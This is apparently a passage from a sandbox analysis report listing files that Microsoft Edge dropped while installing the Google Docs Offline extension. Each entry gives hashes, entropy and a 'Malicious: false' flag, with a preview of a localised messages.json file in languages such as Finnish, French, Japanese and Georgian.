Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
